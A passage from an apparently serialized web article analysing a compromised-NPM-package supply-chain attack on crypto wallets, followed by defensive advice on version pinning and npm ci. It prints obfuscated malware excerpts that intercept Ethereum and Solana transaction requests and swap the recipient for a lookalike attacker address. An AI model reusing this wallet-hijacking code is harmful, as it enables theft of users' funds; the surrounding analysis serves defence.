processedData",{"type":20,"tag":315,"props":96238,"children":96239},{"style":334},[96240],{"type":26,"value":1395},{"type":20,"tag":315,"props":96242,"children":96243},{"style":345},[96244],{"type":26,"value":96245}," replaceAddresses",{"type":20,"tag":315,"props":96247,"children":96248},{"style":328},[96249],{"type":26,"value":1049},{"type":20,"tag":315,"props":96251,"children":96252},{"style":635},[96253],{"type":26,"value":2085},{"type":20,"tag":315,"props":96255,"children":96256},{"style":328},[96257],{"type":26,"value":2214},{"type":20,"tag":315,"props":96259,"children":96260},{"class":317,"line":499},[96261,96265,96270],{"type":20,"tag":315,"props":96262,"children":96263},{"style":541},[96264],{"type":26,"value":34604},{"type":20,"tag":315,"props":96266,"children":96267},{"style":635},[96268],{"type":26,"value":96269}," finalResponseText",{"type":20,"tag":315,"props":96271,"children":96272},{"style":334},[96273],{"type":26,"value":34271},{"type":20,"tag":315,"props":96275,"children":96276},{"class":317,"line":513},[96277,96282,96286,96290,96295,96300,96304,96308,96312,96316,96320,96324,96329],{"type":20,"tag":315,"props":96278,"children":96279},{"style":541},[96280],{"type":26,"value":96281}," typeof",{"type":20,"tag":315,"props":96283,"children":96284},{"style":635},[96285],{"type":26,"value":96236},{"type":20,"tag":315,"props":96287,"children":96288},{"style":334},[96289],{"type":26,"value":29837},{"type":20,"tag":315,"props":96291,"children":96292},{"style":2652},[96293],{"type":26,"value":96294}," 'string'",{"type":20,"tag":315,"props":96296,"children":96297},{"style":334},[96298],{"type":26,"value":96299}," ?",{"type":20,"tag":315,"props":96301,"children":96302},{"style":635},[96303],{"type":26,"value":96236},{"type":20,"tag":315,"props":96305,"children":96306},{"style":334},[96307],{"type":26,"value":33531},{"type":20,"tag":315,"props":96309,"children":96310},{"style":635},[96311],{"type":26,"value":35944},{"type":20,"tag":315,"props":96313,"children":96314},{"style":328},[96315],{"type":26,"value":61},{"type":20,"tag":315,"props":96317,"children":96318},{"style":345},[96319],{"type":26,"value":37649},{"type":20,"tag":315,"props":96321,"children":96322},{"style":328},[96323],{"type":26,"value":1049},{"type":20,"tag":315,"props":96325,"children":96326},{"style":635},[96327],{"type":26,"value":96328},"processedData",{"type":20,"tag":315,"props":96330,"children":96331},{"style":328},[96332],{"type":26,"value":2214},{"type":20,"tag":315,"props":96334,"children":96335},{"class":317,"line":521},[96336,96340,96345,96349,96353,96358,96362,96367],{"type":20,"tag":315,"props":96337,"children":96338},{"style":541},[96339],{"type":26,"value":34604},{"type":20,"tag":315,"props":96341,"children":96342},{"style":635},[96343],{"type":26,"value":96344}," finalResponse",{"type":20,"tag":315,"props":96346,"children":96347},{"style":334},[96348],{"type":26,"value":1395},{"type":20,"tag":315,"props":96350,"children":96351},{"style":541},[96352],{"type":26,"value":30348},{"type":20,"tag":315,"props":96354,"children":96355},{"style":345},[96356],{"type":26,"value":96357}," Response",{"type":20,"tag":315,"props":96359,"children":96360},{"style":328},[96361],{"type":26,"value":1049},{"type":20,"tag":315,"props":96363,"children":96364},{"style":635},[96365],{"type":26,"value":96366},"finalResponseText",{"type":20,"tag":315,"props":96368,"children":96369},{"style":328},[96370],{"type":26,"value":47133},{"type":20,"tag":315,"props":96372,"children":96373},{"class":317,"line":552},[96374,96379,96383,96387,96392],{"type":20,"tag":315,"props":96375,"children":96376},{"style":635},[96377],{"type":26,"value":96378}," status:",{"type":20,"tag":315,"props":96380,"children":96381},{"style":635},[96382],{"type":26,"value":95965},{"type":20,"tag":315,"props":96384,"children":96385},{"style":328},[96386],{"type":26,"value":61},{"type":20,"tag":315,"props":96388,"children":96389},{"style":635},[96390],{"type":26,"value":96391},"status",{"type":20,"tag":315,"props":96393,"children":96394},{"style":328},[96395],{"type":26,"value":643},{"type":20,"tag":315,"props":96397,"children":96398},{"class":317,"line":571},[96399,96404,96408,96412,96417],{"type":20,"tag":315,"props":96400,"children":96401},{"style":635},[96402],{"type":26,"value":96403}," statusText:",{"type":20,"tag":315,"props":96405,"children":96406},{"style":635},[96407],{"type":26,"value":95965},{"type":20,"tag":315,"props":96409,"children":96410},{"style":328},[96411],{"type":26,"value":61},{"type":20,"tag":315,"props":96413,"children":96414},{"style":635},[96415],{"type":26,"value":96416},"statusText",{"type":20,"tag":315,"props":96418,"children":96419},{"style":328},[96420],{"type":26,"value":643},{"type":20,"tag":315,"props":96422,"children":96423},{"class":317,"line":2031},[96424,96429,96433,96437,96441],{"type":20,"tag":315,"props":96425,"children":96426},{"style":635},[96427],{"type":26,"value":96428}," headers:",{"type":20,"tag":315,"props":96430,"children":96431},{"style":635},[96432],{"type":26,"value":95965},{"type":20,"tag":315,"props":96434,"children":96435},{"style":328},[96436],{"type":26,"value":61},{"type":20,"tag":315,"props":96438,"children":96439},{"style":635},[96440],{"type":26,"value":96039},{"type":20,"tag":315,"props":96442,"children":96443},{"style":328},[96444],{"type":26,"value":643},{"type":20,"tag":315,"props":96446,"children":96447},{"class":317,"line":2053},[96448],{"type":20,"tag":315,"props":96449,"children":96450},{"style":328},[96451],{"type":26,"value":96452}," });\n",{"type":20,"tag":315,"props":96454,"children":96455},{"class":317,"line":2061},[96456,96460,96464],{"type":20,"tag":315,"props":96457,"children":96458},{"style":525},[96459],{"type":26,"value":37615},{"type":20,"tag":315,"props":96461,"children":96462},{"style":635},[96463],{"type":26,"value":96344},{"type":20,"tag":315,"props":96465,"children":96466},{"style":328},[96467],{"type":26,"value":1405},{"type":20,"tag":315,"props":96469,"children":96470},{"class":317,"line":2070},[96471],{"type":20,"tag":315,"props":96472,"children":96473},{"style":328},[96474],{"type":26,"value":14979},{"type":20,"tag":68,"props":96476,"children":96477},{"start":365},[96478],{"type":20,"tag":72,"props":96479,"children":96480},{},[96481],{"type":26,"value":96482},"The malware intercepted wallet requests and silently replaced the receiver address with the attacker address. Instead of a blunt substitution, it used the Levenshtein distance algorithm to pick a lookalike address, which made it harder for victims to notice funds being siphoned.",{"type":20,"tag":305,"props":96484,"children":96486},{"code":96485,"language":29781,"meta":7,"className":29779,"style":7},"if (_0x2c3d7e.method === 'eth_sendTransaction' && _0x2c3d7e.params && _0x2c3d7e.params[0]) {\n try {\n const _0x39ad21 = _0x1089ae(_0x2c3d7e.params[0], true);\n _0x2c3d7e.params[0] = _0x39ad21;\n } catch (_0x226343) {}\n} else {\n if (\n (_0x2c3d7e.method === 'solana_signTransaction' ||\n _0x2c3d7e.method === 'solana_signAndSendTransaction') &&\n _0x2c3d7e.params &&\n _0x2c3d7e.params[0]\n ) {\n try {\n let _0x5ad975 = _0x2c3d7e.params[0];\n if (_0x5ad975.transaction) {\n _0x5ad975 = _0x5ad975.transaction;\n }\n const _0x5dbe63 = _0x1089ae(_0x5ad975, false);\n if (_0x2c3d7e.params[0].transaction) {\n _0x2c3d7e.params[0].transaction = _0x5dbe63;\n } else {\n _0x2c3d7e.params[0] = _0x5dbe63;\n }\n } catch (_0x4b99fd) {}\n }\n}\n",[96487],{"type":20,"tag":119,"props":96488,"children":96489},{"__ignoreMap":7},[96490,96569,96580,96637,96677,96702,96717,96728,96762,96795,96814,96841,96849,96860,96900,96929,96957,96964,97004,97047,97091,97106,97145,97152,97176,97183],{"type":20,"tag":315,"props":96491,"children":96492},{"class":317,"line":318},[96493,96497,96501,96506,96510,96514,96518,96523,96527,96532,96536,96541,96545,96549,96553,96557,96561,96565],{"type":20,"tag":315,"props":96494,"children":96495},{"style":525},[96496],{"type":26,"value":528},{"type":20,"tag":315,"props":96498,"children":96499},{"style":328},[96500],{"type":26,"value":463},{"type":20,"tag":315,"props":96502,"children":96503},{"style":635},[96504],{"type":26,"value":96505},"_0x2c3d7e",{"type":20,"tag":315,"props":96507,"children":96508},{"style":328},[96509],{"type":26,"value":61},{"type":20,"tag":315,"props":96511,"children":96512},{"style":635},[96513],{"type":26,"value":36729},{"type":20,"tag":315,"props":96515,"children":96516},{"style":334},[96517],{"type":26,"value":29837},{"type":20,"tag":315,"props":96519,"children":96520},{"style":2652},[96521],{"type":26,"value":96522}," 'eth_sendTransaction'",{"type":20,"tag":315,"props":96524,"children":96525},{"style":334},[96526],{"type":26,"value":12586},{"type":20,"tag":315,"props":96528,"children":96529},{"style":635},[96530],{"type":26,"value":96531}," _0x2c3d7e",{"type":20,"tag":315,"props":96533,"children":96534},{"style":328},[96535],{"type":26,"value":61},{"type":20,"tag":315,"props":96537,"children":96538},{"style":635},[96539],{"type":26,"value":96540},"params",{"type":20,"tag":315,"props":96542,"children":96543},{"style":334},[96544],{"type":26,"value":12586},{"type":20,"tag":315,"props":96546,"children":96547},{"style":635},[96548],{"type":26,"value":96531},{"type":20,"tag":315,"props":96550,"children":96551},{"style":328},[96552],{"type":26,"value":61},{"type":20,"tag":315,"props":96554,"children":96555},{"style":635},[96556],{"type":26,"value":96540},{"type":20,"tag":315,"props":96558,"children":96559},{"style":328},[96560],{"type":26,"value":2117},{"type":20,"tag":315,"props":96562,"children":96563},{"style":765},[96564],{"type":26,"value":1063},{"type":20,"tag":315,"props":96566,"children":96567},{"style":328},[96568],{"type":26,"value":39041},{"type":20,"tag":315,"props":96570,"children":96571},{"class":317,"line":356},[96572,96576],{"type":20,"tag":315,"props":96573,"children":96574},{"style":525},[96575],{"type":26,"value":95608},{"type":20,"tag":315,"props":96577,"children":96578},{"style":328},[96579],{"type":26,"value":1092},{"type":20,"tag":315,"props":96581,"children":96582},{"class":317,"line":365},[96583,96587,96592,96596,96601,96605,96609,96613,96617,96621,96625,96629,96633],{"type":20,"tag":315,"props":96584,"children":96585},{"style":541},[96586],{"type":26,"value":49920},{"type":20,"tag":315,"props":96588,"children":96589},{"style":635},[96590],{"type":26,"value":96591}," _0x39ad21",{"type":20,"tag":315,"props":96593,"children":96594},{"style":334},[96595],{"type":26,"value":1395},{"type":20,"tag":315,"props":96597,"children":96598},{"style":345},[96599],{"type":26,"value":96600}," _0x1089ae",{"type":20,"tag":315,"props":96602,"children":96603},{"style":328},[96604],{"type":26,"value":1049},{"type":20,"tag":315,"props":96606,"children":96607},{"style":635},[96608],{"type":26,"value":96505},{"type":20,"tag":315,"props":96610,"children":96611},{"style":328},[96612],{"type":26,"value":61},{"type":20,"tag":315,"props":96614,"children":96615},{"style":635},[96616],{"type":26,"value":96540},{"type":20,"tag":315,"props":96618,"children":96619},{"style":328},[96620],{"type":26,"value":2117},{"type":20,"tag":315,"props":96622,"children":96623},{"style":765},[96624],{"type":26,"value":1063},{"type":20,"tag":315,"props":96626,"children":96627},{"style":328},[96628],{"type":26,"value":21465},{"type":20,"tag":315,"props":96630,"children":96631},{"style":541},[96632],{"type":26,"value":2387},{"type":20,"tag":315,"props":96634,"children":96635},{"style":328},[96636],{"type":26,"value":2214},{"type":20,"tag":315,"props":96638,"children":96639},{"class":317,"line":374},[96640,96645,96649,96653,96657,96661,96665,96669,96673],{"type":20,"tag":315,"props":96641,"children":96642},{"style":635},[96643],{"type":26,"value":96644}," _0x2c3d7e",{"type":20,"tag":315,"props":96646,"children":96647},{"style":328},[96648],{"type":26,"value":61},{"type":20,"tag":315,"props":96650,"children":96651},{"style":635},[96652],{"type":26,"value":96540},{"type":20,"tag":315,"props":96654,"children":96655},{"style":328},[96656],{"type":26,"value":2117},{"type":20,"tag":315,"props":96658,"children":96659},{"style":765},[96660],{"type":26,"value":1063},{"type":20,"tag":315,"props":96662,"children":96663},{"style":328},[96664],{"type":26,"value":7057},{"type":20,"tag":315,"props":96666,"children":96667},{"style":334},[96668],{"type":26,"value":337},{"type":20,"tag":315,"props":96670,"children":96671},{"style":635},[96672],{"type":26,"value":96591},{"type":20,"tag":315,"props":96674,"children":96675},{"style":328},[96676],{"type":26,"value":1405},{"type":20,"tag":315,"props":96678,"children":96679},{"class":317,"line":383},[96680,96684,96688,96692,96697],{"type":20,"tag":315,"props":96681,"children":96682},{"style":328},[96683],{"type":26,"value":29883},{"type":20,"tag":315,"props":96685,"children":96686},{"style":525},[96687],{"type":26,"value":46662},{"type":20,"tag":315,"props":96689,"children":96690},{"style":328},[96691],{"type":26,"value":463},{"type":20,"tag":315,"props":96693,"children":96694},{"style":635},[96695],{"type":26,"value":96696},"_0x226343",{"type":20,"tag":315,"props":96698,"children":96699},{"style":328},[96700],{"type":26,"value":96701},") {}\n",{"type":20,"tag":315,"props":96703,"children":96704},{"class":317,"line":407},[96705,96709,96713],{"type":20,"tag":315,"props":96706,"children":96707},{"style":328},[96708],{"type":26,"value":1082},{"type":20,"tag":315,"props":96710,"children":96711},{"style":525},[96712],{"type":26,"value":1087},{"type":20,"tag":315,"props":96714,"children":96715},{"style":328},[96716],{"type":26,"value":1092},{"type":20,"tag":315,"props":96718,"children":96719},{"class":317,"line":421},[96720,96724],{"type":20,"tag":315,"props":96721,"children":96722},{"style":525},[96723],{"type":26,"value":29809},{"type":20,"tag":315,"props":96725,"children":96726},{"style":328},[96727],{"type":26,"value":76824},{"type":20,"tag":315,"props":96729,"children":96730},{"class":317,"line":430},[96731,96736,96740,96744,96748,96752,96757],{"type":20,"tag":315,"props":96732,"children":96733},{"style":328},[96734],{"type":26,"value":96735}," (",{"type":20,"tag":315,"props":96737,"children":96738},{"style":635},[96739],{"type":26,"value":96505},{"type":20,"tag":315,"props":96741,"children":96742},{"style":328},[96743],{"type":26,"value":61},{"type":20,"tag":315,"props":96745,"children":96746},{"style":635},[96747],{"type":26,"value":36729},{"type":20,"tag":315,"props":96749,"children":96750},{"style":334},[96751],{"type":26,"value":29837},{"type":20,"tag":315,"props":96753,"children":96754},{"style":2652},[96755],{"type":26,"value":96756}," 'solana_signTransaction'",{"type":20,"tag":315,"props":96758,"children":96759},{"style":334},[96760],{"type":26,"value":96761}," ||\n",{"type":20,"tag":315,"props":96763,"children":96764},{"class":317,"line":453},[96765,96770,96774,96778,96782,96787,96791],{"type":20,"tag":315,"props":96766,"children":96767},{"style":635},[96768],{"type":26,"value":96769}," _0x2c3d7e",{"type":20,"tag":315,"props":96771,"children":96772},{"style":328},[96773],{"type":26,"value":61},{"type":20,"tag":315,"props":96775,"children":96776},{"style":635},[96777],{"type":26,"value":36729},{"type":20,"tag":315,"props":96779,"children":96780},{"style":334},[96781],{"type":26,"value":29837},{"type":20,"tag":315,"props":96783,"children":96784},{"style":2652},[96785],{"type":26,"value":96786}," 'solana_signAndSendTransaction'",{"type":20,"tag":315,"props":96788,"children":96789},{"style":328},[96790],{"type":26,"value":1468},{"type":20,"tag":315,"props":96792,"children":96793},{"style":334},[96794],{"type":26,"value":82073},{"type":20,"tag":315,"props":96796,"children":96797},{"class":317,"line":486},[96798,96802,96806,96810],{"type":20,"tag":315,"props":96799,"children":96800},{"style":635},[96801],{"type":26,"value":96644},{"type":20,"tag":315,"props":96803,"children":96804},{"style":328},[96805],{"type":26,"value":61},{"type":20,"tag":315,"props":96807,"children":96808},{"style":635},[96809],{"type":26,"value":96540},{"type":20,"tag":315,"props":96811,"children":96812},{"style":334},[96813],{"type":26,"value":50936},{"type":20,"tag":315,"props":96815,"children":96816},{"class":317,"line":499},[96817,96821,96825,96829,96833,96837],{"type":20,"tag":315,"props":96818,"children":96819},{"style":635},[96820],{"type":26,"value":96644},{"type":20,"tag":315,"props":96822,"children":96823},{"style":328},[96824],{"type":26,"value":61},{"type":20,"tag":315,"props":96826,"children":96827},{"style":635},[96828],{"type":26,"value":96540},{"type":20,"tag":315,"props":96830,"children":96831},{"style":328},[96832],{"type":26,"value":2117},{"type":20,"tag":315,"props":96834,"children":96835},{"style":765},[96836],{"type":26,"value":1063},{"type":20,"tag":315,"props":96838,"children":96839},{"style":328},[96840],{"type":26,"value":10173},{"type":20,"tag":315,"props":96842,"children":96843},{"class":317,"line":513},[96844],{"type":20,"tag":315,"props":96845,"children":96846},{"style":328},[96847],{"type":26,"value":96848}," ) {\n",{"type":20,"tag":315,"props":96850,"children":96851},{"class":317,"line":521},[96852,96856],{"type":20,"tag":315,"props":96853,"children":96854},{"style":525},[96855],{"type":26,"value":68238},{"type":20,"tag":315,"props":96857,"children":96858},{"style":328},[96859],{"type":26,"value":1092},{"type":20,"tag":315,"props":96861,"children":96862},{"class":317,"line":552},[96863,96867,96872,96876,96880,96884,96888,96892,96896],{"type":20,"tag":315,"props":96864,"children":96865},{"style":541},[96866],{"type":26,"value":6471},{"type":20,"tag":315,"props":96868,"children":96869},{"style":635},[96870],{"type":26,"value":96871}," _0x5ad975",{"type":20,"tag":315,"props":96873,"children":96874},{"style":334},[96875],{"type":26,"value":1395},{"type":20,"tag":315,"props":96877,"children":96878},{"style":635},[96879],{"type":26,"value":96531},{"type":20,"tag":315,"props":96881,"children":96882},{"style":328},[96883],{"type":26,"value":61},{"type":20,"tag":315,"props":96885,"children":96886},{"style":635},[96887],{"type":26,"value":96540},{"type":20,"tag":315,"props":96889,"children":96890},{"style":328},[96891],{"type":26,"value":2117},{"type":20,"tag":315,"props":96893,"children":96894},{"style":765},[96895],{"type":26,"value":1063},{"type":20,"tag":315,"props":96897,"children":96898},{"style":328},[96899],{"type":26,"value":29989},{"type":20,"tag":315,"props":96901,"children":96902},{"class":317,"line":571},[96903,96907,96911,96916,96920,96925],{"type":20,"tag":315,"props":96904,"children":96905},{"style":525},[96906],{"type":26,"value":37703},{"type":20,"tag":315,"props":96908,"children":96909},{"style":328},[96910],{"type":26,"value":463},{"type":20,"tag":315,"props":96912,"children":96913},{"style":635},[96914],{"type":26,"value":96915},"_0x5ad975",{"type":20,"tag":315,"props":96917,"children":96918},{"style":328},[96919],{"type":26,"value":61},{"type":20,"tag":315,"props":96921,"children":96922},{"style":635},[96923],{"type":26,"value":96924},"transaction",{"type":20,"tag":315,"props":96926,"children":96927},{"style":328},[96928],{"type":26,"value":549},{"type":20,"tag":315,"props":96930,"children":96931},{"class":317,"line":2031},[96932,96937,96941,96945,96949,96953],{"type":20,"tag":315,"props":96933,"children":96934},{"style":635},[96935],{"type":26,"value":96936}," _0x5ad975",{"type":20,"tag":315,"props":96938,"children":96939},{"style":334},[96940],{"type":26,"value":1395},{"type":20,"tag":315,"props":96942,"children":96943},{"style":635},[96944],{"type":26,"value":96871},{"type":20,"tag":315,"props":96946,"children":96947},{"style":328},[96948],{"type":26,"value":61},{"type":20,"tag":315,"props":96950,"children":96951},{"style":635},[96952],{"type":26,"value":96924},{"type":20,"tag":315,"props":96954,"children":96955},{"style":328},[96956],{"type":26,"value":1405},{"type":20,"tag":315,"props":96958,"children":96959},{"class":317,"line":2053},[96960],{"type":20,"tag":315,"props":96961,"children":96962},{"style":328},[96963],{"type":26,"value":11064},{"type":20,"tag":315,"props":96965,"children":96966},{"class":317,"line":2061},[96967,96971,96976,96980,96984,96988,96992,96996,97000],{"type":20,"tag":315,"props":96968,"children":96969},{"style":541},[96970],{"type":26,"value":29962},{"type":20,"tag":315,"props":96972,"children":96973},{"style":635},[96974],{"type":26,"value":96975}," _0x5dbe63",{"type":20,"tag":315,"props":96977,"children":96978},{"style":334},[96979],{"type":26,"value":1395},{"type":20,"tag":315,"props":96981,"children":96982},{"style":345},[96983],{"type":26,"value":96600},{"type":20,"tag":315,"props":96985,"children":96986},{"style":328},[96987],{"type":26,"value":1049},{"type":20,"tag":315,"props":96989,"children":96990},{"style":635},[96991],{"type":26,"value":96915},{"type":20,"tag":315,"props":96993,"children":96994},{"style":328},[96995],{"type":26,"value":44},{"type":20,"tag":315,"props":96997,"children":96998},{"style":541},[96999],{"type":26,"value":6571},{"type":20,"tag":315,"props":97001,"children":97002},{"style":328},[97003],{"type":26,"value":2214},{"type":20,"tag":315,"props":97005,"children":97006},{"class":317,"line":2070},[97007,97011,97015,97019,97023,97027,97031,97035,97039,97043],{"type":20,"tag":315,"props":97008,"children":97009},{"style":525},[97010],{"type":26,"value":37703},{"type":20,"tag":315,"props":97012,"children":97013},{"style":328},[97014],{"type":26,"value":463},{"type":20,"tag":315,"props":97016,"children":97017},{"style":635},[97018],{"type":26,"value":96505},{"type":20,"tag":315,"props":97020,"children":97021},{"style":328},[97022],{"type":26,"value":61},{"type":20,"tag":315,"props":97024,"children":97025},{"style":635},[97026],{"type":26,"value":96540},{"type":20,"tag":315,"props":97028,"children":97029},{"style":328},[97030],{"type":26,"value":2117},{"type":20,"tag":315,"props":97032,"children":97033},{"style":765},[97034],{"type":26,"value":1063},{"type":20,"tag":315,"props":97036,"children":97037},{"style":328},[97038],{"type":26,"value":48600},{"type":20,"tag":315,"props":97040,"children":97041},{"style":635},[97042],{"type":26,"value":96924},{"type":20,"tag":315,"props":97044,"children":97045},{"style":328},[97046],{"type":26,"value":549},{"type":20,"tag":315,"props":97048,"children":97049},{"class":317,"line":2139},[97050,97055,97059,97063,97067,97071,97075,97079,97083,97087],{"type":20,"tag":315,"props":97051,"children":97052},{"style":635},[97053],{"type":26,"value":97054}," _0x2c3d7e",{"type":20,"tag":315,"props":97056,"children":97057},{"style":328},[97058],{"type":26,"value":61},{"type":20,"tag":315,"props":97060,"children":97061},{"style":635},[97062],{"type":26,"value":96540},{"type":20,"tag":315,"props":97064,"children":97065},{"style":328},[97066],{"type":26,"value":2117},{"type":20,"tag":315,"props":97068,"children":97069},{"style":765},[97070],{"type":26,"value":1063},{"type":20,"tag":315,"props":97072,"children":97073},{"style":328},[97074],{"type":26,"value":48600},{"type":20,"tag":315,"props":97076,"children":97077},{"style":635},[97078],{"type":26,"value":96924},{"type":20,"tag":315,"props":97080,"children":97081},{"style":334},[97082],{"type":26,"value":1395},{"type":20,"tag":315,"props":97084,"children":97085},{"style":635},[97086],{"type":26,"value":96975},{"type":20,"tag":315,"props":97088,"children":97089},{"style":328},[97090],{"type":26,"value":1405},{"type":20,"tag":315,"props":97092,"children":97093},{"class":317,"line":2147},[97094,97098,97102],{"type":20,"tag":315,"props":97095,"children":97096},{"style":328},[97097],{"type":26,"value":37356},{"type":20,"tag":315,"props":97099,"children":97100},{"style":525},[97101],{"type":26,"value":1087},{"type":20,"tag":315,"props":97103,"children":97104},{"style":328},[97105],{"type":26,"value":1092},{"type":20,"tag":315,"props":97107,"children":97108},{"class":317,"line":2177},[97109,97113,97117,97121,97125,97129,97133,97137,97141],{"type":20,"tag":315,"props":97110,"children":97111},{"style":635},[97112],{"type":26,"value":97054},{"type":20,"tag":315,"props":97114,"children":97115},{"style":328},[97116],{"type":26,"value":61},{"type":20,"tag":315,"props":97118,"children":97119},{"style":635},[97120],{"type":26,"value":96540},{"type":20,"tag":315,"props":97122,"children":97123},{"style":328},[97124],{"type":26,"value":2117},{"type":20,"tag":315,"props":97126,"children":97127},{"style":765},[97128],{"type":26,"value":1063},{"type":20,"tag":315,"props":97130,"children":97131},{"style":328},[97132],{"type":26,"value":7057},{"type":20,"tag":315,"props":97134,"children":97135},{"style":334},[97136],{"type":26,"value":337},{"type":20,"tag":315,"props":97138,"children":97139},{"style":635},[97140],{"type":26,"value":96975},{"type":20,"tag":315,"props":97142,"children":97143},{"style":328},[97144],{"type":26,"value":1405},{"type":20,"tag":315,"props":97146,"children":97147},{"class":317,"line":2185},[97148],{"type":20,"tag":315,"props":97149,"children":97150},{"style":328},[97151],{"type":26,"value":11064},{"type":20,"tag":315,"props":97153,"children":97154},{"class":317,"line":2217},[97155,97159,97163,97167,97172],{"type":20,"tag":315,"props":97156,"children":97157},{"style":328},[97158],{"type":26,"value":14180},{"type":20,"tag":315,"props":97160,"children":97161},{"style":525},[97162],{"type":26,"value":46662},{"type":20,"tag":315,"props":97164,"children":97165},{"style":328},[97166],{"type":26,"value":463},{"type":20,"tag":315,"props":97168,"children":97169},{"style":635},[97170],{"type":26,"value":97171},"_0x4b99fd",{"type":20,"tag":315,"props":97173,"children":97174},{"style":328},[97175],{"type":26,"value":96701},{"type":20,"tag":315,"props":97177,"children":97178},{"class":317,"line":2225},[97179],{"type":20,"tag":315,"props":97180,"children":97181},{"style":328},[97182],{"type":26,"value":4265},{"type":20,"tag":315,"props":97184,"children":97185},{"class":317,"line":2285},[97186],{"type":20,"tag":315,"props":97187,"children":97188},{"style":328},[97189],{"type":26,"value":577},{"type":20,"tag":219,"props":97191,"children":97193},{"id":97192},"impact-of-the-attack",[97194],{"type":26,"value":97195},"Impact of the Attack",{"type":20,"tag":29,"props":97197,"children":97198},{},[97199],{"type":26,"value":97200},"Despite the attack targeting popular NPM packages, the exploit was not very successful. After two days, the attacker's wallet was only able to drain about $1000. However, the takeaway is how easily a trusted dependency can become a delivery vector for malware.",{"type":20,"tag":21,"props":97202,"children":97204},{"id":97203},"why-it-will-happen-again",[97205],{"type":26,"value":97206},"Why It Will Happen Again",{"type":20,"tag":29,"props":97208,"children":97209},{},[97210],{"type":26,"value":97211},"The decentralized nature of the open-source ecosystem, and particularly a massive registry like NPM, makes it an attractive and persistent target for attackers. Although this recent attack was quickly mitigated and financially minor, it served as a powerful and widely-publicized proof-of-concept showing how one compromised maintainer can distribute malware at scale.",{"type":20,"tag":29,"props":97213,"children":97214},{},[97215],{"type":26,"value":97216},"With over two million packages and countless layers of direct and transitive dependencies, a compromise can cascade through thousands of projects in hours. It's the classic \"needle in a haystack\" problem, except the haystack keeps growing.",{"type":20,"tag":21,"props":97218,"children":97220},{"id":97219},"what-developers-can-do",[97221],{"type":26,"value":97222},"What Developers Can Do",{"type":20,"tag":29,"props":97224,"children":97225},{},[97226],{"type":26,"value":97227},"If you are building critical systems where supply-chain attacks are an unacceptable risk in your threat model, here are some practical actions you can take:",{"type":20,"tag":219,"props":97229,"children":97231},{"id":97230},"_1-version-pinning-in-packagejson",[97232,97234],{"type":26,"value":97233},"1. Version pinning in ",{"type":20,"tag":119,"props":97235,"children":97237},{"className":97236},[],[97238],{"type":26,"value":97239},"package.json",{"type":20,"tag":29,"props":97241,"children":97242},{},[97243],{"type":26,"value":97244},"Applications get compromised by supply-chain attacks when an attacker releases a new version of an NPM package and the application automatically downloads it to have the latest package version.",{"type":20,"tag":29,"props":97246,"children":97247},{},[97248,97250,97256,97258,97263,97265,97270],{"type":26,"value":97249},"You can pin your dependency versions to make sure they won't get updated when running ",{"type":20,"tag":119,"props":97251,"children":97253},{"className":97252},[],[97254],{"type":26,"value":97255},"npm install",{"type":26,"value":97257},". To pin it, just make sure to remove the caret ",{"type":20,"tag":119,"props":97259,"children":97261},{"className":97260},[],[97262],{"type":26,"value":47185},{"type":26,"value":97264}," symbol before the version in ",{"type":20,"tag":119,"props":97266,"children":97268},{"className":97267},[],[97269],{"type":26,"value":97239},{"type":26,"value":2884},{"type":20,"tag":305,"props":97272,"children":97274},{"code":97273,"language":32412,"meta":7,"className":32410,"style":7},"\"@react-native-async-storage/async-storage\": \"1.23.1\",\n\"@react-native-community/datetimepicker\": \"8.3.0\",\n\"@react-native-community/netinfo\": \"11.4.1\",\n\"@react-native-picker/picker\": \"2.11.0\"\n",[97275],{"type":20,"tag":119,"props":97276,"children":97277},{"__ignoreMap":7},[97278,97299,97320,97341],{"type":20,"tag":315,"props":97279,"children":97280},{"class":317,"line":318},[97281,97286,97290,97295],{"type":20,"tag":315,"props":97282,"children":97283},{"style":2652},[97284],{"type":26,"value":97285},"\"@react-native-async-storage/async-storage\"",{"type":20,"tag":315,"props":97287,"children":97288},{"style":328},[97289],{"type":26,"value":13732},{"type":20,"tag":315,"props":97291,"children":97292},{"style":2652},[97293],{"type":26,"value":97294},"\"1.23.1\"",{"type":20,"tag":315,"props":97296,"children":97297},{"style":328},[97298],{"type":26,"value":643},{"type":20,"tag":315,"props":97300,"children":97301},{"class":317,"line":356},[97302,97307,97311,97316],{"type":20,"tag":315,"props":97303,"children":97304},{"style":2652},[97305],{"type":26,"value":97306},"\"@react-native-community/datetimepicker\"",{"type":20,"tag":315,"props":97308,"children":97309},{"style":328},[97310],{"type":26,"value":13732},{"type":20,"tag":315,"props":97312,"children":97313},{"style":2652},[97314],{"type":26,"value":97315},"\"8.3.0\"",{"type":20,"tag":315,"props":97317,"children":97318},{"style":328},[97319],{"type":26,"value":643},{"type":20,"tag":315,"props":97321,"children":97322},{"class":317,"line":365},[97323,97328,97332,97337],{"type":20,"tag":315,"props":97324,"children":97325},{"style":2652},[97326],{"type":26,"value":97327},"\"@react-native-community/netinfo\"",{"type":20,"tag":315,"props":97329,"children":97330},{"style":328},[97331],{"type":26,"value":13732},{"type":20,"tag":315,"props":97333,"children":97334},{"style":2652},[97335],{"type":26,"value":97336},"\"11.4.1\"",{"type":20,"tag":315,"props":97338,"children":97339},{"style":328},[97340],{"type":26,"value":643},{"type":20,"tag":315,"props":97342,"children":97343},{"class":317,"line":374},[97344,97349,97353],{"type":20,"tag":315,"props":97345,"children":97346},{"style":2652},[97347],{"type":26,"value":97348},"\"@react-native-picker/picker\"",{"type":20,"tag":315,"props":97350,"children":97351},{"style":328},[97352],{"type":26,"value":13732},{"type":20,"tag":315,"props":97354,"children":97355},{"style":2652},[97356],{"type":26,"value":97357},"\"2.11.0\"\n",{"type":20,"tag":219,"props":97359,"children":97361},{"id":97360},"_2-use-npm-ci",[97362,97364],{"type":26,"value":97363},"2. Use ",{"type":20,"tag":119,"props":97365,"children":97367},{"className":97366},[],[97368],{"type":26,"value":97369},"npm ci",{"type":20,"tag":29,"props":97371,"children":97372},{},[97373,97378,97380,97386,97388,97393],{"type":20,"tag":119,"props":97374,"children":97376},{"className":97375},[],[97377],{"type":26,"value":97369},{"type":26,"value":97379}," uses the dependency versions from ",{"type":20,"tag":119,"props":97381,"children":97383},{"className":97382},[],[97384],{"type":26,"value":97385},"package-lock.json",{"type":26,"value":97387}," to install the packages. Consider using it in CI/CD workflows and only use ",{"type":20,"tag":119,"props":97389,"children":97391},{"className":97390},[],[97392],{"type":26,"value":97255},{"type":26,"value":97394}," when adding a new package or updating an existing one.",{"type":20,"tag":219,"props":97396,"children":97398},{"id":97397},"_3-implement-lavamoat",[97399,97401],{"type":26,"value":97400},"3. Implement 